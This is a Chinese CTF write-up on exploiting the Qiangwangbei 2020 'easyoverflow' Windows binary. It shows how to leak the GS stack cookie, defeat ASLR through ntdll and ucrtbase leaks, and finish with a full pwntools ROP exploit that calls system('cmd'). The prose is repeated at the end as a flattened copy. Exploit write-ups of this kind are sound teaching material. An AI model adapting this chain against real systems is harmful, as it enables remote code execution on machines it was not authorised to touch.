win pwn初探(三)
字数 959 2025-08-24 07:48:34

Windows PWN初探(三):绕过ASLR和GS保护机制

前言

本文是Windows PWN系列的第三篇,主要讲解如何绕过Windows平台上的ASLR(地址空间布局随机化)和GS(栈保护)机制。我们将以强网杯2020的easyoverflow题目为例,详细分析漏洞利用过程。

程序分析

保护机制检查

程序开启了以下保护:

  • ASLR
  • GS (Stack Cookie)
  • DEP

未开启的保护:

  • SafeSEH
  • CFG

代码分析

int __cdecl main(int argc, const char **argv, const char **envp) {
    FILE *v3; // rax
    FILE *v4; // rax
    FILE *v5; // rax
    int v6; // ebx
    char DstBuf[256]; // [rsp+20h] [rbp-118h] BYREF
    
    v3 = _acrt_iob_func(0);
    setbuf(v3, 0i64);
    v4 = _acrt_iob_func(1u);
    setbuf(v4, 0i64);
    v5 = _acrt_iob_func(2u);
    setbuf(v5, 0i64);
    v6 = 3;
    
    do {
        --v6;
        memset(DstBuf, 0, sizeof(DstBuf));
        puts("input:");
        read(0, DstBuf, 0x400u);
        puts("buffer:");
        puts(DstBuf);
    } while (v6 > 0);
    
    return 0;
}

漏洞点:read(0, DstBuf, 0x400u)可以读取0x400字节数据,而DstBuf只有256字节空间,存在栈溢出漏洞。

漏洞利用步骤

1. 泄露StackCookie

StackCookie工作原理

  1. 程序开始时:
push rbx
sub rsp, 130h
mov rax, cs:__security_cookie
xor rax, rsp
mov [rsp+138h+var_18], rax
  • __security_cookie与RSP异或后存储在栈上
  1. 程序结束时:
xor eax, eax
mov rcx, [rsp+138h+var_18]
xor rcx, rsp ; StackCookie
call __security_check_cookie
add rsp, 130h
pop rbx
retn
  • 取出存储的值与RSP再次异或,恢复__security_cookie并与全局值比较

泄露方法

StackCookie存储在rsp + 0x138 - 0x18处,而输入缓冲区距离该位置0x100字节。

利用代码:

p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))

2. 泄露程序基地址

利用第二次输入覆盖rbp,泄露返回地址:

p2 = b'a' * 0x118
r.sendafter('input:', p2)
r.recvuntil('a' * 0x118)
leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
binary_base = leak_addr - 0x12F4

3. 返回到main函数重新利用

由于栈地址会变化,需要重新泄露StackCookie:

main_addr = 0x1000 + binary_base
p3 = b'a' * 0x100 
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)

4. 泄露ntdll.dll基地址

通过覆盖更多数据泄露ntdll.dll中的地址:

p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)
ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
ntdll_base = ntdll_addr - 0x485b

5. 构造ROP链

寻找gadgets

由于程序本身gadgets很少,需要从ntdll.dll中寻找:

  • pop rcx; ret
  • pop rbx; ret
  • pop rdx; ret

计算新的StackCookie

由于RSP会变化,需要重新计算:

# 泄露security_cookie
p5 = b'a' * 0x100
p5 += p64(StackCookie)
p5 += b'a' * 0x10
p5 += p64(pop_rcx_ret)
p5 += p64(security_cookie_addr)
p5 += p64(pop_rbx_ret)
p5 += p64(1)
p5 += p64(puts_plt)

security_cookie = u64(r.recvn(6).ljust(8, b'\x00'))
old_rsp = security_cookie ^ StackCookie
new_rsp = old_rsp + 0x160
new_StackCookie = new_rsp ^ security_cookie

6. 泄露ucrtbase.dll地址并执行system

# 泄露read_got获取ucrtbase地址
p6 = b'a' * 0x100
p6 += p64(new_rsp ^ security_cookie)
p6 += b'a' * 0x10
p6 += p64(pop_rcx_ret) + p64(read_got)
p6 += p64(pop_rbx_ret) + p64(1)
p6 += p64(puts_plt)

ucrt_base = u64(r.recvn(6).ljust(8, b'\x00')) - 0x7650
system_addr = 0xBCB20 + ucrt_base
cmd = 0xE0020 + ucrt_base

# 执行system("cmd")
p7 = b'a' * 0x100
p7 += p64((new_rsp + 0x160) ^ security_cookie)
p7 += b'a' * 0x10
p7 += p64(pop_rcx_ret) + p64(cmd)
p7 += p64(system_addr)

完整EXP

from pwn import *
context.log_level = 'debug'

r = remote('192.168.10.102', 1234)

# 第一次泄露StackCookie
p1 = b'a' * 0x100
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))

# 泄露binary基地址
p2 = b'a' * 0x118
r.sendafter('input:', p2)
r.recvuntil('a' * 0x118)
leak_addr = u64(r.recv(6).ljust(8, b'\x00'))
binary_base = leak_addr - 0x12F4
main_addr = 0x1000 + binary_base

# 返回到main函数
p3 = b'a' * 0x100
p3 += p64(StackCookie)
p3 += b'a' * 0x10
p3 += p64(main_addr)
r.sendafter('input:', p3)

# 重新泄露StackCookie
r.sendafter('input:', p1)
r.recvuntil('a' * 0x100)
StackCookie = u64(r.recv(6).ljust(8, b'\x00'))

# 泄露ntdll地址
p4 = b'a' * 0x180
r.sendafter('input:', p4)
r.recvuntil('a' * 0x180)
ntdll_addr = u64(r.recv(6).ljust(8, b'\x00'))
ntdll_base = ntdll_addr - 0x485b

# 准备gadgets
pop_rcx_ret = 0x0000000000096065 + ntdll_base
pop_rbx_ret = 0x00000000000012a7 + ntdll_base
pop_rdx_ret = 0x00000000000f12ab + ntdll_base
puts_plt = 0x10A6 + binary_base
security_cookie_addr = 0x3008 + binary_base

# 泄露security_cookie
p5 = b'a' * 0x100
p5 += p64(StackCookie)
p5 += b'a' * 0x10
p5 += p64(pop_rcx_ret)
p5 += p64(security_cookie_addr)
p5 += p64(pop_rbx_ret)
p5 += p64(1)
p5 += p64(puts_plt)
r.sendafter('input:', p5)
r.recvuntil('a' * 0x100)
r.recvline()
security_cookie = u64(r.recvn(6).ljust(8, b'\x00'))
old_rsp = security_cookie ^ StackCookie
new_rsp = old_rsp + 0x160

# 泄露ucrtbase地址
read_got = 0x2178 + binary_base
p6 = b'a' * 0x100
p6 += p64(new_rsp ^ security_cookie)
p6 += b'a' * 0x10
p6 += p64(pop_rcx_ret) + p64(read_got)
p6 += p64(pop_rbx_ret) + p64(1)
p6 += p64(puts_plt)
r.sendafter('input:', p6)
r.recvuntil('a' * 0x100)
r.recvline()
ucrt_base = u64(r.recvn(6).ljust(8, b'\x00')) - 0x7650
system_addr = 0xBCB20 + ucrt_base
cmd = 0xE0020 + ucrt_base

# 执行system("cmd")
p7 = b'a' * 0x100
p7 += p64((new_rsp + 0x160) ^ security_cookie)
p7 += b'a' * 0x10
p7 += p64(pop_rcx_ret) + p64(cmd)
p7 += p64(system_addr)
r.sendafter('input:', p7)

r.interactive()

总结

本文详细讲解了Windows平台下绕过ASLR和GS保护的方法,关键点包括:

  1. StackCookie的泄露和计算方法
  2. 程序基地址的泄露
  3. ntdll.dll中gadgets的利用
  4. RSP变化时的StackCookie重新计算
  5. 通过ucrtbase.dll获取system地址

这种技术在Windows平台PWN中非常实用,特别是在CTF比赛中遇到类似的题目时,可以按照这个思路进行利用。

Windows PWN初探(三):绕过ASLR和GS保护机制 前言 本文是Windows PWN系列的第三篇,主要讲解如何绕过Windows平台上的ASLR(地址空间布局随机化)和GS(栈保护)机制。我们将以强网杯2020的easyoverflow题目为例,详细分析漏洞利用过程。 程序分析 保护机制检查 程序开启了以下保护: ASLR GS (Stack Cookie) DEP 未开启的保护: SafeSEH CFG 代码分析 漏洞点: read(0, DstBuf, 0x400u) 可以读取0x400字节数据,而DstBuf只有256字节空间,存在栈溢出漏洞。 漏洞利用步骤 1. 泄露StackCookie StackCookie工作原理 程序开始时: 将 __security_cookie 与RSP异或后存储在栈上 程序结束时: 取出存储的值与RSP再次异或,恢复 __security_cookie 并与全局值比较 泄露方法 StackCookie存储在 rsp + 0x138 - 0x18 处,而输入缓冲区距离该位置0x100字节。 利用代码: 2. 泄露程序基地址 利用第二次输入覆盖rbp,泄露返回地址: 3. 返回到main函数重新利用 由于栈地址会变化,需要重新泄露StackCookie: 4. 泄露ntdll.dll基地址 通过覆盖更多数据泄露ntdll.dll中的地址: 5. 构造ROP链 寻找gadgets 由于程序本身gadgets很少,需要从ntdll.dll中寻找: pop rcx; ret pop rbx; ret pop rdx; ret 计算新的StackCookie 由于RSP会变化,需要重新计算: 6. 泄露ucrtbase.dll地址并执行system 完整EXP 总结 本文详细讲解了Windows平台下绕过ASLR和GS保护的方法,关键点包括: StackCookie的泄露和计算方法 程序基地址的泄露 ntdll.dll中gadgets的利用 RSP变化时的StackCookie重新计算 通过ucrtbase.dll获取system地址 这种技术在Windows平台PWN中非常实用,特别是在CTF比赛中遇到类似的题目时,可以按照这个思路进行利用。